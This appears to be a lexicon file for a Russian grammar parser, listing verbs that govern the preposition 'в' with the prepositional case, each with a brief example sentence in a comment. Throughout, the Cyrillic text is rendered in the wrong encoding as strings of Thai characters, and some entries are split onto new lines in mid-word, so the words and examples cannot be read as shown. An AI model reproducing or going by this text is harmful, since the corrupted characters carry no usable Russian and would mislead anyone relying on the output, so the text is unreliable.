ะธะฝัะธะฝะธัะธะฒ:ะะะ ะะขะฌ{ aux stress="ะฟะฐั^ะธัั"}, // ะััะพะบะพ ะฒ ะฝะตะฑะต ะฟะฐัะธั ะพััะป, ะฟะปะฐะฒะฝะพ ะพะฟะธััะฒะฐั ะบััะณะธ. (ะะะ ะะขะฌ ะ)
ะณะปะฐะณะพะป:ะะะ ะะขะฌ{ aux stress="ะฟะฐั^ะธัั"},
ะดะตะตะฟัะธัะฐััะธะต:ะฟะฐัั{ aux stress="ะฟะฐั^ั" },
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะะะ ะฏะฉะะ{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะะะ ะะะจะะ{},
rus_verbs:ะกะะฏะขะฌ{}, // ะะปะฐะฒั ัะพะฑะพัะฐ ัะธัะปะธ ะฒ ะปััะฐั
ัะพะปะฝัะฐ. (ะกะะฏะขะฌ ะ)
rus_verbs:ะ ะะกะะะะะะะขะฌ{}, // ะะพััะธะฝะธัะฐ ัะฐัะฟะพะปะพะถะตะฝะฐ ะณะปัะฑะพะบะพ ะฒ ะณะพัะฐั
. (ะ ะะกะะะะะะะขะฌ ะ)
rus_verbs:ัะฐะทะฒะธะฒะฐัััั{}, // ะะตะนััะฒะธะต ะฒ ะบะพะผะตะดะธะธ ัะฐะทะฒะธะฒะฐะตััั ะฒ ะดะฒัั
ะฟะปะฐะฝะฐั
. (ัะฐะทะฒะธะฒะฐัััั ะฒ)
rus_verbs:ะะะกะะะะขะฌ{}, // ะะตัะธ ะฟะพัะฐะดะธะปะธ ั ะฝะฐั ะฒะพ ะดะฒะพัะต ัะฒะตัั. (ะะะกะะะะขะฌ ะ)
rus_verbs:ะะกะะะ ะะะฏะขะฌ{}, // ะััะฝัะต ะฟัะธะฒััะบะธ ัะปะตะดัะตั ะธัะบะพัะตะฝััั ะฒ ัะฐะผะพะผ ะฝะฐัะฐะปะต. (ะะกะะะ ะะะฏะขะฌ ะ)
rus_verbs:ะะะกะกะขะะะะะะขะฌ{}, // ะะณะพ ะฒะพัััะฐะฝะพะฒะธะปะธ ะฒ ะฟัะฐะฒะฐั
. (ะะะกะกะขะะะะะะขะฌ ะ)
rus_verbs:ะะะะะะะขะฌะกะฏ{}, // ะผั ะฟะพะปะฐะณะฐะตะผัั ะฝะฐ ะฝะตะณะพ ะฒ ััะธั
ะฒะพะฟัะพัะฐั
(ะะะะะะะขะฌะกะฏ ะ)
rus_verbs:ะฃะะะ ะะขะฌ{}, // ะพะฝะธ ัะผะธัะฐะปะธ ะฒะพ ัะฝะต. (ะฃะะะ ะะขะฌ ะ)
rus_verbs:ะะ ะะะะะะขะฌ{}, // ะะฝะฐ ัะธะปัะฝะพ ะฟัะธะฑะฐะฒะธะปะฐ ะฒ ะฒะตัะต. (ะะ ะะะะะะขะฌ ะ)
rus_verbs:ะฟะพัะผะพััะตัั{}, // ะะพัะผะพััะธัะต ะฒ ัะฟะธัะบะต. (ะฟะพัะผะพััะตัั ะฒ)
rus_verbs:ะฟัะพะธะทะฒะพะดะธัััั{}, // ะัะดะฐัะฐ ะฝะพะฒัั
ะฟะฐัะฟะพััะพะฒ ะฑัะดะตั ะฟัะพะธะทะฒะพะดะธัััั ะฒ ัะปะตะดัััะตะผ ะฟะพััะดะบะต (ะฟัะพะธะทะฒะพะดะธัััั ะฒ)
rus_verbs:ะฟัะธะฝััั{}, // ะะพะบัะผะตะฝั ะฟัะธะฝัั ะฒ ัะปะตะดัััะตะน ัะตะดะฐะบัะธะธ (ะฟัะธะฝััั ะฒ)
rus_verbs:ัะฒะตัะบะฝััั{}, // ะผะตั ะตะณะพ ัะฒะตัะบะฝัะป ะฒะพ ััะผะต. (ัะฒะตัะบะฝััั ะฒ)
rus_verbs:ะะซะ ะะะะขะซะะะขะฌ{}, // ัั ะดะพะปะถะตะฝ ะฒััะฐะฑะฐััะฒะฐัั ะฒ ัะตะฑะต ัะธะปั ะฒะพะปะธ (ะะซะ ะะะะขะซะะะขะฌ ะ)
rus_verbs:ะดะพััะฐัั{}, // ะญัะธ ัะฒะตะดะตะฝะธั ะผั ะดะพััะฐะปะธ ะฒ ะะพะปะณะพะณัะฐะดะต. (ะดะพััะฐัั ะฒ)
rus_verbs:ะทะฒััะฐัั{}, // ะฒ ะดะพะผะต ะทะฒััะฐะปะฐ ะผัะทัะบะฐ (ะทะฒััะฐัั ะฒ)
rus_verbs:ะบะพะปะตะฑะฐัััั{}, // ะบะพะปะตะฑะปะตััั ะฒ ะฒัะฑะพัะต (ะบะพะปะตะฑะฐัััั ะฒ)
rus_verbs:ะผะตัะฐัั{}, // ะผะตัะฐัั ะฒ ะบะฐััััะปะต ััะฟ (ะผะตัะฐัั ะฒ)
rus_verbs:ะฝะฐัะฐััะฐัั{}, // ะฒะพ ะผะฝะต ะฝะฐัะฐััะฐะป ะณะฝะตะฒ (ะฝะฐัะฐััะฐัั ะฒ)
rus_verbs:ะพัะฑััั{}, // ะะฐะดะธะผ ะพัะฑัะป ะฒ ะฝะตะธะทะฒะตััะฝะพะผ ะฝะฐะฟัะฐะฒะปะตะฝะธะธ (ะพัะฑััั ะฒ)
rus_verbs:ัะฒะตัะธัััั{}, // ะฒะพ ะฒัะตะผ ะดะพะผะต ัะฒะตัะธะปะพัั ัะพะปัะบะพ ะพะบะฝะพ ะตะต ัะฟะฐะปัะฝะธ. (ัะฒะตัะธัััั ะฒ)
rus_verbs:ะฒััะธััะฒะฐัั{}, // ะฒััะธััะฒะฐัั ะฒ ะบะฝะธะณะต
rus_verbs:ะณัะดะตัั{}, // ะฃ ะฝะตะณะพ ะฒ ััะฐั
ะณัะดะธั.
rus_verbs:ะดะฐะฒะฐัั{}, // ะ ััะพะน ะปะฐะฒะบะต ะดะฐัั ะฒ ะดะพะปะณ?
rus_verbs:ะฟะพะฑะปะตัะบะธะฒะฐัั{}, // ะัะฐัะธะฒะพะต ััะตะบะปััะบะพ ะฟะพะฑะปะตัะบะธะฒะฐะปะพ ะฒ ะฟัะปัะฝะพะน ััะฐะฒะต ั ะดะพัะพะถะบะธ.
rus_verbs:ัะฐะทะพะนัะธัั{}, // ะะฝะธ ัะฐะทะพัะปะธัั ะฒ ัะตะผะฝะพัะต.
rus_verbs:ะฟัะธะฑะตะถะฐัั{}, // ะะฐะปััะธะบ ะฟัะธะฑะตะถะฐะป ะฒ ัะปะตะทะฐั
.
rus_verbs:ะฑะธัััั{}, // ะะฝะฐ ะฑะธะปะฐัั ะฒ ะธััะตัะธะบะต.
rus_verbs:ัะตะณะธัััะธัะพะฒะฐัััั{}, // ัะตะณะธัััะธัะพะฒะฐัััั ะฒ ัะธััะตะผะต
rus_verbs:ััะธัะฐัั{}, // ั ะฑัะดั ััะธัะฐัั ะฒ ัะผะต
rus_verbs:ััะฐั
ะฐัััั{}, // ััะฐั
ะฐัััั ะฒ ะณะฐะผะฐะบะต
rus_verbs:ัะบะพะฝัะตะฝััะธัะพะฒะฐัััั{}, // ัะบะพะฝัะตะฝััะธัะพะฒะฐัััั ะฒ ะพะดะฝะพะน ัะพัะบะต
rus_verbs:ัะฐะทัััะฐัั{}, // ัะฐะทัััะฐัั ะฒ ะดัะพะฑะธะปะบะต
rus_verbs:ะทะฐัะธะดะตัััั{}, // ะทะฐัะธะดะตัััั ะฒ ะณะพัััั
rus_verbs:ะทะฐัะธะถะธะฒะฐัััั{}, // ะทะฐัะธะถะธะฒะฐัััั ะฒ ะณะพัััั
rus_verbs:ััะพะฟะธัั{}, // ััะพะฟะธัั ะปะพะดะบั ะฒ ัะตะบะต (ััะพะฟะธัั ะฒ ัะตะบะต)
rus_verbs:ะฝะฐะฒะตััะธัั{}, // ะฝะฐะฒะตััะธัั ะฒ ะดะพะผะต ะฟัะตััะฐัะตะปัั
rus_verbs:ะทะฐะฟะพะผะฝะธัั{}, // ะทะฐะฟะพะผะฝะธัั ะฒ ะบััะต
rus_verbs:ัะฑะธะฒะฐัั{}, // ัะฑะธะฒะฐัั ะฒ ะฟะพะผะตัะตะฝะธะธ ะฟะพะปะธัะธะธ (-score ัะฑะธะฒะฐัั ะฝะตะพะดัั. ะดะพะผ.)
rus_verbs:ะฑะฐะทะธัะพะฒะฐัััั{}, // ัััะฐะฝะพะฒะบะฐ ะฑะฐะทะธััะตััั ะฒ ัะตััะต ะณะพัะพะดะฐ (ngram ัะตััะฐ ะณะพัะพะดะฐ - ะฟัะพะฒะตัะธัั ััะพ ะตััั ะฟัะพะฒะตัะบะฐ)
rus_verbs:ะฟะพะบัะฟะฐัั{}, // ะงะฐัะต ะฒัะตะณะพ ัะพััะธัะฝะต ะฟะพะบัะฟะฐัั ะฒ ะธะฝัะตัะฝะตัะต ะฑััะพะฒัั ัะตั
ะฝะธะบั.
rus_verbs:ั
ะพะดะธัั{}, // ั
ะพะดะธัั ะฒ ะฟะฐะปััะพ (ัะดะตะปะฐัั ะฅะะะะขะฌ + ะฒ + ะะะะะะ ะฟัะตะดะป.ะฟ.)
rus_verbs:ะทะฐะปะพะถะธัั{}, // ะดะธะฒะตััะฐะฝัั ะทะฐะปะพะถะธะปะธ ะฒ ะฟะพะผะตัะตะฝะธะธ ะฑะพะผะฑั
rus_verbs:ะพะณะปัะดัะฒะฐัััั{}, // ะพะณะปัะดัะฒะฐัััั ะฒ ะทะตัะบะฐะปะต
rus_verbs:ะฝะฐัะธัะพะฒะฐัั{}, // ะฝะฐัะธัะพะฒะฐัั ะฒ ัะตััะฐะดะบะต
rus_verbs:ะฟัะพะฑะธัั{}, // ะฟัะพะฑะธัั ะพัะฒะตัััะฒะธะต ะฒ ััะตะฝะต
rus_verbs:ะฟะพะฒะตััะตัั{}, // ะฟะพะฒะตััะตัั ะฒ ััะบะต
rus_verbs:ะฒะตััะตัั{}, // ะฏ ะฒะตััะตะป ะฒ ััะบะฐั
rus_verbs:ัะฒะฐัััั{}, // ะะตัะตะฒะบะฐ ัะฒะตััั ะฒ ะผะตััะต ะฝะฐะดัะตะทะฐ
rus_verbs:ัะฐัะฟัะพัััะฐะฝััััั{}, // ัะฐัะฟัะพัััะฐะฝััััั ะฒ ััะตะดะต ะฝะฐัะบะพะผะฐะฝะพะฒ
rus_verbs:ะฟะพะฟัะพัะฐัััั{}, // ะฟะพะฟัะพัะฐัััั ะฒ ะทะดะฐะฝะธะธ ะผะพัะณะฐ
rus_verbs:ัะพะพะฑัะฐะถะฐัั{}, // ัะพะพะฑัะฐะถะฐัั ะฒ ัะผะต
ะธะฝัะธะฝะธัะธะฒ:ะฟัะพััะฟะฐัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะณะปะฐะณะพะป:ะฟัะพััะฟะฐัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ะฟัะพััะฟะฐัััั ะฒ ััะถะพะน ะบัะพะฒะฐัะธ
rus_verbs:ะทะฐะตั
ะฐัั{}, // ะะพะปั ะทะฐะตั
ะฐะป ะฒ ะณะพััะธ (ะฒ ะณะพััะธ - ัััะพะนัะธะฒัะน ะฝะฐัะตัะฝัะน ะพะฑะพัะพั)
rus_verbs:ัะฐะทะพะฑัะฐัั{}, // ัะฐะทะพะฑัะฐัั ะฒ ะณะฐัะฐะถะต
rus_verbs:ะฟะพะผะตัะตัั{}, // ะฟะพะผะตัะตัั ะฒ ะฟััะธ
rus_verbs:ัะฐะทะปะธัะธัั{}, // ัะฐะทะปะธัะธัั ะฒ ัะตะผะฝะพัะต
rus_verbs:ัะธัะพะฒะฐัั{}, // ัะธัะพะฒะฐัั ะฒ ะณัะฐัะธัะตัะบะพะผ ัะตะดะฐะบัะพัะต
rus_verbs:ะฟัะพัะปะตะดะธัั{}, // ะฟัะพัะปะตะดะธัั ะฒ ะทะฐะฟะธััั
ะบะฐะผะตั ัะปะตะถะตะฝะธั
rus_verbs:ัะพะฒะตััะฐัััั{}, // ะัะฐะฒะพััะดะธะต ัะพะฒะตััะฐะตััั ะฒ ััะดะต
rus_verbs:ะทะฐะดัะตะผะฐัั{}, // ะทะฐะดัะตะผะฐัั ะฒ ะบัะพะฒะฐัะธ
rus_verbs:ััะณะฐัััั{}, // ััะณะฐัััั ะฒ ะบะพะผะฝะฐัะต
rus_verbs:ะทะฐะทะฒััะฐัั{}, // ะทะฐะทะฒััะฐัั ะฒ ัะฐะดะธะพะฟัะธะตะผะฝะธะบะฐั
rus_verbs:ะทะฐะดะพั
ะฝััััั{}, // ะทะฐะดะพั
ะฝััััั ะฒ ะฒะพะดะต
rus_verbs:ะฟะพัะพะถะดะฐัั{}, // ะฟะพัะพะถะดะฐัั ะฒ ะฝะตะพะบัะตะฟัะธั
ัะผะฐั
rus_verbs:ะพัะดัั
ะฐัั{}, // ะพัะดัั
ะฐัั ะฒ ัะฐะฝะฐัะพัะธะธ
rus_verbs:ัะฟะพะผะธะฝะฐัััั{}, // ัะฟะพะผะธะฝะฐัััั ะฒ ะฟัะตะดัะดััะตะผ ัะพะพะฑัะตะฝะธะธ
rus_verbs:ะพะฑัะฐะทะพะฒะฐัั{}, // ะพะฑัะฐะทะพะฒะฐัั ะฒ ะฟัะพะฑะธัะบะต ัะตะผะฝัั ะฒะทะฒะตัั
rus_verbs:ะพัะผะตัะฐัั{}, // ะพัะผะตัะฐัั ะฒ ัะฟะธัะบะต
rus_verbs:ะฟะพะดัะตัะบะฝััั{}, // ะฟะพะดัะตัะบะฝััั ะฒ ะฑะปะพะบะฝะพัะต
rus_verbs:ะฟะปััะฐัั{}, // ะฟะปััะฐัั ะฒ ะพัะบััะถะตะฝะธะธ ะฝะตะทะฝะฐะบะพะผัั
ะปัะดะตะน
rus_verbs:ะฟะพะฒััะธัั{}, // ะฟะพะฒััะธัั ะฒ ะทะฒะฐะฝะธะธ
rus_verbs:ะฟะพะดะถะธะดะฐัั{}, // ะฟะพะดะถะธะดะฐัั ะฒ ะฟะพะดัะตะทะดะต
rus_verbs:ะพัะบะฐะทะฐัั{}, // ะพัะบะฐะทะฐัั ะฒ ะฟะตัะตัะผะพััะต ะดะตะปะฐ
rus_verbs:ัะฐััะฒะพัะธัััั{}, // ัะฐััะฒะพัะธัััั ะฒ ะฑะตะฝะทะธะฝะต
rus_verbs:ะพััะฐะถะฐัั{}, // ะพััะฐะถะฐัั ะฒ ััะธั
ะฐั
rus_verbs:ะดัะตะผะฐัั{}, // ะดัะตะผะฐัั ะฒ ะณะฐะผะฐะบะต
rus_verbs:ะฟัะธะผะตะฝััััั{}, // ะฟัะธะผะตะฝััััั ะฒ ะดะพะผะฐัะฝะธั
ััะปะพะฒะธัั
rus_verbs:ะฟัะธัะฝะธัััั{}, // ะฟัะธัะฝะธัััั ะฒะพ ัะฝะต
rus_verbs:ัััััะธัั{}, // ัััััะธัั ะฒ ะดัะฐะฝะดัะปะตัะต
rus_verbs:ัะพั
ัะฐะฝััั{}, // ัะพั
ัะฐะฝััั ะฒ ะฝะตะฟัะธะบะพัะฝะพะฒะตะฝะฝะพััะธ
rus_verbs:ัะฐััััะตะปััั{}, // ัะฐััััะตะปััั ะฒ ะปะพะถะฑะธะฝะต
rus_verbs:ัะฐัััะธัะฐัั{}, // ัะฐัััะธัะฐัั ะฒ ะฟัะพะณัะฐะผะผะต
rus_verbs:ะฟะตัะตะฑะธัะฐัั{}, // ะฟะตัะตะฑะธัะฐัั ะฒ ััะบะต
rus_verbs:ัะฐะทะฑะธัััั{}, // ัะฐะทะฑะธัััั ะฒ ะฐะฒะฐัะธะธ
rus_verbs:ะฟะพะธัะบะฐัั{}, // ะฟะพะธัะบะฐัั ะฒ ัะณะปั
rus_verbs:ะผััะธัััั{}, // ะผััะธัััั ะฒ ัะตัะฝะพะน ะบะปะตัะบะต
rus_verbs:ะทะฐะผะตะปัะบะฐัั{}, // ะทะฐะผะตะปัะบะฐัั ะฒ ัะตะปะตะฒะธะทะพัะต
rus_verbs:ะณััััะธัั{}, // ะณััััะธัั ะฒ ะพะดะธะฝะพัะตััะฒะต
rus_verbs:ะบัััะธัั{}, // ะบัััะธัั ะฒ ะฑะฐะฝะบะต
rus_verbs:ะพะฑััะฒะธัััั{}, // ะพะฑััะฒะธัััั ะฒ ะณะพัะพะดะต
rus_verbs:ะฟะพะดะณะพัะพะฒะธัั{}, // ะฟะพะดะณะพัะพะฒะธัั ะฒ ัะฐะนะฝะต
rus_verbs:ัะฐะทะปะธัะฐัั{}, // ัะฐะทะปะธัะฐัั ะฒ ัะผะตัะธ
rus_verbs:ะพะฑะฝะฐััะถะธะฒะฐัั{}, // ะพะฑะฝะฐััะถะธะฒะฐัั ะฒ ะบัะพะฒะธ
rus_verbs:ะบะธัะฝััั{}, // ะบะธัะฝััั ะฒ ะทะฐั
ะพะปััััะต
rus_verbs:ะพะฑะพัะฒะฐัััั{}, // ะพะฑะพัะฒะฐัััั ะฒ ะฝะฐัะฐะปะต ััะฐะทั
rus_verbs:ะทะฐะฟััะฐัััั{}, // ะทะฐะฟััะฐัััั ะฒ ะฒะตัะตะฒะบะฐั
rus_verbs:ะพะฑัะฐัััั{}, // ะพะฑัะฐัััั ะฒ ะธะฝัะธะผะฝะพะน ะพะฑััะฐะฝะพะฒะบะต
rus_verbs:ัะพัะธะฝะธัั{}, // ัะพัะธะฝะธัั ะฒ ัะตััะพัะฐะฝะต
rus_verbs:ะธะทะพะฑัะตััะธ{}, // ะธะทะพะฑัะตััะธ ะฒ ะดะพะผะฐัะฝะตะน ะปะฐะฑะพัะฐัะพัะธะธ
rus_verbs:ะฟัะพะบะพะผะผะตะฝัะธัะพะฒะฐัั{}, // ะฟัะพะบะพะผะผะตะฝัะธัะพะฒะฐัั ะฒ ัะฒะพะตะผ ะฑะปะพะณะต
rus_verbs:ะดะฐะฒะธัั{}, // ะดะฐะฒะธัั ะฒ ะทะฐัะพะดััะต
rus_verbs:ะฟะพะฒัะพัะธัััั{}, // ะฟะพะฒัะพัะธัััั ะฒ ะฝะพะฒะพะผ ะพะฑะปะธััะต
rus_verbs:ะพัััะฐะฒะฐัั{}, // ะพัััะฐะฒะฐัั ะฒ ะพะฑัะตะผ ะทะฐัะตัะต
rus_verbs:ัะฐะทัะฐะฑะพัะฐัั{}, // ัะฐะทัะฐะฑะพัะฐัั ะฒ ะปะฐะฑะพัะฐัะพัะธะธ
rus_verbs:ะบะฐัะฐัั{}, // ะบะฐัะฐัั ะฒ ะบัะพะฒะฐัะบะต
rus_verbs:ะทะฐะผะตะฝะธัั{}, // ะทะฐะผะตะฝะธัั ะฒ ะดะฒะธะณะฐัะตะปะต
rus_verbs:ะทะฐะดัั
ะฐัััั{}, // ะทะฐะดัั
ะฐัััั ะฒ ะดััะฝะพะน ะธ ะฒะปะฐะถะฝะพะน ะฐัะผะพััะตัะต
rus_verbs:ะทะฐะฑะตะณะฐัั{}, // ะทะฐะฑะตะณะฐัั ะฒ ัะฟะตัะบะต
rus_verbs:ะฝะฐะดะตะปะฐัั{}, // ะฝะฐะดะตะปะฐัั ะฒ ัะตัะตะฝะธะธ ะพัะธะฑะพะบ
rus_verbs:ะธัะบะฐะทะธัััั{}, // ะธัะบะฐะทะธัััั ะฒ ะบัะธะฒะพะผ ะทะตัะบะฐะปะต
rus_verbs:ัััะธัั{}, // ัััะธัั ะฒ ะฟะพะผะตัะตะฝะธะธ ะฟะพะถะฐั
rus_verbs:ะพั
ัะฐะฝััั{}, // ะพั
ัะฐะฝััั ะฒ ะทะดะฐะฝะธะธ ะฒั
ะพะดั
rus_verbs:ะฟัะธะผะตัะธัั{}, // ะฟัะธะผะตัะธัั ะฒ ะบัััะฐั
rus_verbs:ัะบัััั{}, // ัะบัััั ะฒ ัะบะปะฐะดะบะฐั
ะพะดะตะถะดั
rus_verbs:ัะดะตัะถะธะฒะฐัั{}, // ัะดะตัะถะธะฒะฐัั ะฒ ะทะฐะปะพะถะฝะธะบะฐั
rus_verbs:ัะฒะตะปะธัะธะฒะฐัััั{}, // ัะฒะตะปะธัะธะฒะฐัััั ะฒ ัะฐะทะผะตัะต
rus_verbs:ะบัะฐัะพะฒะฐัััั{}, // ะบัะฐัะพะฒะฐัััั ะฒ ะฝะพะฒะพะผ ะฟะปะฐััะต
rus_verbs:ัะพั
ัะฐะฝะธัััั{}, // ัะพั
ัะฐะฝะธัััั ะฒ ัะตะฟะปะต
rus_verbs:ะปะตัะธัั{}, // ะปะตัะธัั ะฒ ััะฐัะธะพะฝะฐัะต
rus_verbs:ัะผะตัะฐัััั{}, // ัะผะตัะฐัััั ะฒ ะฑะฐะบะต
rus_verbs:ะฟัะพะบะฐัะธัััั{}, // ะฟัะพะบะฐัะธัััั ะฒ ััะพะปะปะตะนะฑััะต
rus_verbs:ะดะพะณะพะฒะฐัะธะฒะฐัััั{}, // ะดะพะณะพะฒะฐัะธะฒะฐัััั ะฒ ะทะฐะบัััะพะผ ะบะฐะฑะธะฝะตัะต
rus_verbs:ะพะฟัะฑะปะธะบะพะฒะฐัั{}, // ะพะฟัะฑะปะธะบะพะฒะฐัั ะฒ ะพัะธัะธะฐะปัะฝะพะผ ะฑะปะพะณะต
rus_verbs:ะพั
ะพัะธัััั{}, // ะพั
ะพัะธัััั ะฒ ะฟัะตัะธัั
rus_verbs:ะพััะฐะถะฐัััั{}, // ะพััะฐะถะฐัััั ะฒ ะพะบะฝะต
rus_verbs:ะฟะพะฝะธะทะธัั{}, // ะฟะพะฝะธะทะธัั ะฒ ะดะพะปะถะฝะพััะธ
rus_verbs:ะพะฑะตะดะฐัั{}, // ะพะฑะตะดะฐัั ะฒ ัะตััะพัะฐะฝะต
rus_verbs:ะฟะพัะธะดะตัั{}, // ะฟะพัะธะดะตัั ะฒ ัะตะฝะธ
rus_verbs:ัะพะพะฑัะฐัััั{}, // ัะพะพะฑัะฐัััั ะฒ ะพะฟะฟะพะทะธัะธะพะฝะฝะพะน ะณะฐะทะตัะต
rus_verbs:ัะฒะตััะธัััั{}, // ัะฒะตััะธัััั ะฒ ััะดะต
rus_verbs:ะฝะพัะตะฒะฐัั{}, // ะฝะพัะตะฒะฐัั ะฒ ะณะพััะธะฝะธัะต
rus_verbs:ัะตะผะฝะตัั{}, // ัะตะผะฝะตัั ะฒ ะฒะพะดะต
rus_verbs:ะณะธะฑะฝััั{}, // ะณะธะฑะฝััั ะฒ ะทะฐััะตะฝะบะฐั
rus_verbs:ััะธะปะธะฒะฐัััั{}, // ััะธะปะธะฒะฐัััั ะฒ ะฝะฐะฟัะฐะฒะปะตะฝะธะธ ะณะปะฐะฒะฝะพะณะพ ัะดะฐัะฐ
rus_verbs:ัะฐัะฟะปััััั{}, // ัะฐัะฟะปััััั ะฒ ัะปัะฑะบะต
rus_verbs:ะฟัะตะฒััะฐัั{}, // ะฟัะตะฒััะฐัั ะฒ ะฝะตัะบะพะปัะบะพ ัะฐะท
rus_verbs:ะฟัะพะถะธะฒะฐัั{}, // ะฟัะพะถะธะฒะฐัั ะฒ ะพัะดะตะปัะฝะพะน ะบะพะผะพัะบะต
rus_verbs:ะณะพะปัะฑะตัั{}, // ะณะพะปัะฑะตัั ะฒ ัะตะฟะปะต
rus_verbs:ะธััะปะตะดะพะฒะฐัั{}, // ะธััะปะตะดะพะฒะฐัั ะฒ ะตััะตััะฒะตะฝะฝัั
ััะปะพะฒะธัั
rus_verbs:ะพะฑะธัะฐัั{}, // ะพะฑะธัะฐัั ะฒ ะปะตัั
rus_verbs:ัะบััะฐัั{}, // ัะบััะฐัั ะฒ ะพะดะธะฝะพัะตััะฒะต
rus_verbs:ััะฐะปะบะธะฒะฐัััั{}, // ััะฐะปะบะธะฒะฐัััั ะฒ ะฒะพะทะดัั
ะต
rus_verbs:ัะฐะธัััั{}, // ัะฐะธัััั ะฒ ะณะปัะฑะธะฝะต
rus_verbs:ัะฟะฐัะฐัั{}, // ัะฟะฐัะฐัั ะฒ ะผะพัะต
rus_verbs:ะทะฐะฑะปัะดะธัััั{}, // ะทะฐะฑะปัะดะธัััั ะฒ ะปะตัั
rus_verbs:ัะพะทะดะฐัััั{}, // ัะพะทะดะฐัััั ะฒ ะฝะพะฒะพะผ ะฒะธะดะต
rus_verbs:ะฟะพัะฐัะธัั{}, // ะฟะพัะฐัะธัั ะฒ ะบะฐัะผะฐะฝะต
rus_verbs:ะฟะปะฐะฝะธัะพะฒะฐัั{}, // ะฟะปะฐะฝะธัะพะฒะฐัั ะฒ ะฟัะพะณัะฐะผะผะต
rus_verbs:ะพัะฑะธัั{}, // ะพัะฑะธัั ะฒ ะฝะธะถะฝะตะน ัะฐััะธ
rus_verbs:ะพััะธัะฐัั{}, // ะพััะธัะฐัั ะฒ ััะดะต ัะฒะพั ะฒะธะฝั
rus_verbs:ะพัะฝะพะฒะฐัั{}, // ะพัะฝะพะฒะฐัั ะฒ ะฟััััะฝะต ะฝะพะฒัะน ะณะพัะพะด
rus_verbs:ะดะฒะพะธัั{}, // ะดะฒะพะธัั ะฒ ะณะปะฐะทะฐั
rus_verbs:ัััะพััั{}, // ัััะพััั ะฒ ะปะพะดะบะต
rus_verbs:ัะฝััั{}, // ัะฝััั ะฒ ะฝะพะณะฐั
ะดัะพะถั
rus_verbs:ะพัะทัะฒะฐัััั{}, // ะพัะทัะฒะฐัััั ะฒ ะพะฑะทะพัะต
rus_verbs:ะฟัะธัะพัะผะพะทะธัั{}, // ะฟัะธัะพัะผะพะทะธัั ะฒ ััะฐะฒะต
rus_verbs:ัะธัะฐัััั{}, // ัะธัะฐัััั ะฒ ะณะปะฐะทะฐั
rus_verbs:ะถะธัััั{}, // ะถะธัััั ะฒ ะดะตัะตะฒะฝะต
rus_verbs:ะทะฐะธะณัะฐัั{}, // ะทะฐะธะณัะฐัั ะฒ ะถะธะปะฐั
rus_verbs:ัะตะฒะตะปะธัั{}, // ัะตะฒะตะปะธัั ะฒ ะฒะพะดะต
rus_verbs:ะทะฐะทะฒะตะฝะตัั{}, // ะทะฐะทะฒะตะฝะตัั ะฒ ััะฐั
rus_verbs:ะทะฐะฒะธัะฝััั{}, // ะทะฐะฒะธัะฝััั ะฒ ะฑะธะฑะปะธะพัะตะบะต
rus_verbs:ะทะฐัะฐะธัั{}, // ะทะฐัะฐะธัั ะฒ ะดััะต ะพะฑะธะดั
rus_verbs:ัะพะทะฝะฐัััั{}, // ัะพะทะฝะฐัััั ะฒ ัะพะฒะตััะตะฝะธะธ
rus_verbs:ะฟัะพัะตะบะฐัั{}, // ะฟัะพัะตะบะฐัั ะฒ ะปะตะณะบะพะน ัะพัะผะต
rus_verbs:ะฒัััะฝััััั{}, // ะฒัััะฝััััั ะฒ ั
ะพะดะต ัะบัะฟะตัะธะผะตะฝัะฐ
rus_verbs:ัะบัะตััะธัั{}, // ัะบัะตััะธัั ะฒ ะฝะตะฒะพะปะต
rus_verbs:ะฝะฐะฒะพะดะธัั{}, // ะฝะฐะฒะพะดะธัั ะฒ ะบะพะผะฝะฐัะต ะฟะพััะดะพะบ
rus_verbs:ะทะฝะฐัะธัััั{}, // ะทะฝะฐัะธัััั ะฒ ะดะพะบัะผะตะฝัะฐั
rus_verbs:ะทะฐะธะฝัะตัะตัะพะฒะฐัั{}, // ะทะฐะธะฝัะตัะตัะพะฒะฐัั ะฒ ะฟะพะปััะตะฝะธะธ ัะตะทัะปััะฐัะพะฒ
rus_verbs:ะฟะพะทะฝะฐะบะพะผะธัั{}, // ะฟะพะทะฝะฐะบะพะผะธัั ะฒ ะฝะตะฟัะธะฝัะถะดะตะฝะฝะพะน ะพะฑััะฐะฝะพะฒะบะต
rus_verbs:ัะฐััะตััััั{}, // ัะฐััะตััััั ะฒ ะฒะพะทะดัั
ะต
rus_verbs:ะณัะพั
ะฝััั{}, // ะณัะพั
ะฝััั ะฒ ะฟะพะดะฒะฐะปะต
rus_verbs:ะพะฑะฒะธะฝััั{}, // ะพะฑะฒะธะฝััั ะฒ ะฒัะผะพะณะฐัะตะปัััะฒะต
rus_verbs:ััะพะปะฟะธัััั{}, // ััะพะปะฟะธัััั ะฒ ัะพะนะต
rus_verbs:ะฟะพัััััั{}, // ะฟะพัััััั ะฒ ััะผะบะต
rus_verbs:ะพัะปะฐะฑะธัั{}, // ะพัะปะฐะฑะธัั ะฒ ะฒะตัั
ะฝะตะน ัะฐััะธ
rus_verbs:ะพะฑะฝะฐััะถะธะฒะฐัััั{}, // ะพะฑะฝะฐััะถะธะฒะฐัััั ะฒ ะบะฐัะผะฐะฝะต ะบัััะบะธ
rus_verbs:ัะฟะฐััะธัั{}, // ัะฟะฐััะธัั ะฒ ั
ะธะถะธะฝะต
rus_verbs:ะฟัะตัะฒะฐัััั{}, // ะฟัะตัะฒะฐัััั ะฒ ัะตัะตะดะธะฝะต ััะฐะทั
rus_verbs:ะฟัะธะผะตะฝััั{}, // ะฟัะธะผะตะฝััั ะฒ ะฟะพะฒัะตะดะฝะตะฒะฝะพะน ัะฐะฑะพัะต
rus_verbs:ัััะพะธัััั{}, // ัััะพะธัััั ะฒ ะทะพะฝะต ะพัััะถะดะตะฝะธั
rus_verbs:ะฟััะตัะตััะฒะพะฒะฐัั{}, // ะฟััะตัะตััะฒะพะฒะฐัั ะฒ ัะฐะผะพะปะตัะต
rus_verbs:ะฟะพะฑะตะถะดะฐัั{}, // ะฟะพะฑะตะถะดะฐัั ะฒ ัะตััะฝะพะน ะฑะธัะฒะต
rus_verbs:ะฟะพะณัะฑะธัั{}, // ะฟะพะณัะฑะธัั ะฒ ัะตะฑะต ะฐััะธััะฐ
rus_verbs:ัะฐััะผะฐััะธะฒะฐัััั{}, // ัะฐััะผะฐััะธะฒะฐัััั ะฒ ัะปะตะดัััะตะน ะณะปะฐะฒะต
